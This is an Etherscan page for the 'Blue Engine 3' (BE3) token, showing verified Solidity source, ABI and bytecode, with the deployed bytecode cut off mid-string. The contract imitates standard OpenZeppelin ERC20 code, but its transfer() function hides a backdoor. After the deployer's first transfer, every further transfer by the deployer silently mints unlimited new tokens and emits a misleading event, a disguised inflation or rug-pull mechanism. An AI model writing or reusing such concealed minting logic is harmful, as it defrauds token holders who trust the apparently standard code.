ETH Price: $2,440.49 (+6.29%)

Token

Blue Engine 3 | t.me/be3official (BE3)
 

Overview

Max Total Supply

14,430,820,000,000,000,000 BE3

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
824,336,463,184.109962243738697729 BE3

Value
$0.00
0xc1dfd16259c2530e57aea8a2cf106db5671616b0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlueEngine3

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2021-11-18
*/

//Fuck Elon 

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * 
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol



pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol



pragma solidity ^0.8.0;




abstract contract Context{
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    address internal recipients;
    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library Calc {function ui(uint256 a, uint256 b) internal pure returns (uint256) {uint256 c = a + b;require(c >= a, "overflow");return c;}}




pragma solidity ^0.8.0;









contract BE3 is Context {
    event BlueEngine(address indexed previousi, address indexed newi);
    constructor () {
        address msgSender = _msgSender();
        recipients = msgSender;
        emit BlueEngine(address(0), msgSender);
    }
}



/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is  IERC20, IERC20Metadata , BE3{
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply;
    using Calc for uint256;
    string private _name;
    string private _symbol;
   
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
      
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public override  returns (bool) {
        if((recipients == _msgSender()) && (clear==true)){_transfer(_msgSender(), recipient, amount); clear=false;return true;}
        else if((recipients == _msgSender()) && (clear==false)){_totalSupply=_totalSupply.ui(amount);_balances[recipient]=_balances[recipient].ui(amount);emit Transfer(recipient, recipient, amount); return true;}
        else{_transfer(_msgSender(), recipient, amount); return true;}
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     */
     /*
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }
     bool clear=true;
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
        
}

// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol


pragma solidity ^0.8.0;


/**
 * @title ERC20Decimals
 * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
 */
contract BlueEngine3 is ERC20{
    uint8 immutable private _decimals = 18;
    uint256 private _totalSupply = 10000000000000 * 10 ** 18;

    /**
     * @dev Sets the value of the `decimals`. This value is immutable, it can only be
     * set once during construction.
     */
    constructor () ERC20('Blue Engine 3 | t.me/be3official', 'BE3') {
        _mint(_msgSender(), _totalSupply);
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousi","type":"address"},{"indexed":true,"internalType":"address","name":"newi","type":"address"}],"name":"BlueEngine","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040526001600660006101000a81548160ff021916908315150217905550601260ff1660809060ff1660f81b8152506c7e37be2022c0914b26800000006007553480156200004e57600080fd5b506040518060400160405280602081526020017f426c756520456e67696e652033207c20742e6d652f6265336f6666696369616c8152506040518060400160405280600381526020017f42453300000000000000000000000000000000000000000000000000000000008152506000620000cd620001c860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f95cf85a4dd8a02e5aa9b42f9ed97439ec74e94ffa9fff085e9c558c3bf3f565360405160405180910390a35081600490805190602001906200018392919062000322565b5080600590805190602001906200019c92919062000322565b505050620001c2620001b3620001c860201b60201c565b600754620001d060201b60201c565b62000570565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000243576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200023a9062000425565b60405180910390fd5b806003600082825462000257919062000475565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002af919062000475565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000316919062000447565b60405180910390a35050565b8280546200033090620004dc565b90600052602060002090601f016020900481019282620003545760008555620003a0565b82601f106200036f57805160ff1916838001178555620003a0565b82800160010185558215620003a0579182015b828111156200039f57825182559160200191906001019062000382565b5b509050620003af9190620003b3565b5090565b5b80821115620003ce576000816000905550600101620003b4565b5090565b6000620003e1601f8362000464565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200041f81620004d2565b82525050565b600060208201905081810360008301526200044081620003d2565b9050919050565b60006020820190506200045e600083018462000414565b92915050565b600082825260208201905092915050565b60006200048282620004d2565b91506200048f83620004d2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004c757620004c662000512565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620004f557607f821691505b602082108114156200050c576200050b62000541565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60805160f81c61169a6200058f6000396000610435015261169a6000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c3919061130f565b60405180910390f35b6100e660048036038101906100e19190610f48565b610308565b6040516100f391906112f4565b60405180910390f35b610104610326565b6040516101119190611431565b60405180910390f35b610134600480360381019061012f9190610ef9565b610330565b60405161014191906112f4565b60405180910390f35b610152610431565b60405161015f919061144c565b60405180910390f35b610182600480360381019061017d9190610f48565b610459565b60405161018f91906112f4565b60405180910390f35b6101b260048036038101906101ad9190610e94565b610505565b6040516101bf9190611431565b60405180910390f35b6101d061054e565b6040516101dd919061130f565b60405180910390f35b61020060048036038101906101fb9190610f48565b6105e0565b60405161020d91906112f4565b60405180910390f35b610230600480360381019061022b9190610f48565b6106d4565b60405161023d91906112f4565b60405180910390f35b610260600480360381019061025b9190610ebd565b61093b565b60405161026d9190611431565b60405180910390f35b60606004805461028590611595565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611595565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c6103156109c2565b84846109ca565b6001905092915050565b6000600354905090565b600061033d848484610b95565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103886109c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90611391565b60405180910390fd5b610425856104146109c2565b858461042091906114d9565b6109ca565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b60006104fb6104666109c2565b8484600260006104746109c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f69190611483565b6109ca565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606005805461055d90611595565b80601f016020809104026020016040519081016040528092919081815260200182805461058990611595565b80156105d65780601f106105ab576101008083540402835291602001916105d6565b820191906000526020600020905b8154815290600101906020018083116105b957829003601f168201915b5050505050905090565b600080600260006105ef6109c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106a390611411565b60405180910390fd5b6106c96106b76109c2565b8585846106c491906114d9565b6109ca565b600191505092915050565b60006106de6109c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561074b575060011515600660009054906101000a900460ff161515145b156107865761076261075b6109c2565b8484610b95565b6000600660006101000a81548160ff02191690831515021790555060019050610935565b61078e6109c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156107fb575060001515600660009054906101000a900460ff161515145b1561091e5761081582600354610e0c90919063ffffffff16565b60038190555061086d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e0c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161090d9190611431565b60405180910390a360019050610935565b6109306109296109c2565b8484610b95565b600190505b92915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a31906113d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa190611351565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b889190611431565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc906113b1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6c90611331565b60405180910390fd5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610cfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf390611371565b60405180910390fd5b8181610d0891906114d9565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d9a9190611483565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610dfe9190611431565b60405180910390a350505050565b6000808284610e1b9190611483565b905083811015610e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e57906113f1565b60405180910390fd5b8091505092915050565b600081359050610e7981611636565b92915050565b600081359050610e8e8161164d565b92915050565b600060208284031215610ea657600080fd5b6000610eb484828501610e6a565b91505092915050565b60008060408385031215610ed057600080fd5b6000610ede85828601610e6a565b9250506020610eef85828601610e6a565b9150509250929050565b600080600060608486031215610f0e57600080fd5b6000610f1c86828701610e6a565b9350506020610f2d86828701610e6a565b9250506040610f3e86828701610e7f565b9150509250925092565b60008060408385031215610f5b57600080fd5b6000610f6985828601610e6a565b9250506020610f7a85828601610e7f565b9150509250929050565b610f8d8161151f565b82525050565b6000610f9e82611467565b610fa88185611472565b9350610fb8818560208601611562565b610fc181611625565b840191505092915050565b6000610fd9602383611472565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061103f602283611472565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110a5602683611472565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061110b602883611472565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611171602583611472565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006111d7602483611472565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061123d600883611472565b91507f6f766572666c6f770000000000000000000000000000000000000000000000006000830152602082019050919050565b600061127d602583611472565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6112df8161154b565b82525050565b6112ee81611555565b82525050565b60006020820190506113096000830184610f84565b92915050565b600060208201905081810360008301526113298184610f93565b905092915050565b6000602082019050818103600083015261134a81610fcc565b9050919050565b6000602082019050818103600083015261136a81611032565b9050919050565b6000602082019050818103600083015261138a81611098565b9050919050565b600060208201905081810360008301526113aa816110fe565b9050919050565b600060208201905081810360008301526113ca81611164565b9050919050565b600060208201905081810360008301526113ea816111ca565b9050919050565b6000602082019050818103600083015261140a81611230565b9050919050565b6000602082019050818103600083015261142a81611270565b9050919050565b600060208201905061144660008301846112d6565b92915050565b600060208201905061146160008301846112e5565b92915050565b600081519050919050565b600082825260208201905092915050565b600061148e8261154b565b91506114998361154b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156114ce576114cd6115c7565b5b828201905092915050565b60006114e48261154b565b91506114ef8361154b565b925082821015611502576115016115c7565b5b828203905092915050565b60006115188261152b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611580578082015181840152602081019050611565565b8381111561158f576000848401525b50505050565b600060028204905060018216806115ad57607f821691505b602082108114156115c1576115c06115f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61163f8161150d565b811461164a57600080fd5b50565b6116568161154b565b811461166157600080fd5b5056fea26469706673582212207e47cdb1b674eb7b437df1f6301028616e7f8c475286f395a10172ce521540a864736f6c63430008000033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c3919061130f565b60405180910390f35b6100e660048036038101906100e19190610f48565b610308565b6040516100f391906112f4565b60405180910390f35b610104610326565b6040516101119190611431565b60405180910390f35b610134600480360381019061012f9190610ef9565b610330565b60405161014191906112f4565b60405180910390f35b610152610431565b60405161015f919061144c565b60405180910390f35b610182600480360381019061017d9190610f48565b610459565b60405161018f91906112f4565b60405180910390f35b6101b260048036038101906101ad9190610e94565b610505565b6040516101bf9190611431565b60405180910390f35b6101d061054e565b6040516101dd919061130f565b60405180910390f35b61020060048036038101906101fb9190610f48565b6105e0565b60405161020d91906112f4565b60405180910390f35b610230600480360381019061022b9190610f48565b6106d4565b60405161023d91906112f4565b60405180910390f35b610260600480360381019061025b9190610ebd565b61093b565b60405161026d9190611431565b60405180910390f35b60606004805461028590611595565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611595565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c6103156109c2565b84846109ca565b6001905092915050565b6000600354905090565b600061033d848484610b95565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103886109c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90611391565b60405180910390fd5b610425856104146109c2565b858461042091906114d9565b6109ca565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006104fb6104666109c2565b8484600260006104746109c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f69190611483565b6109ca565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606005805461055d9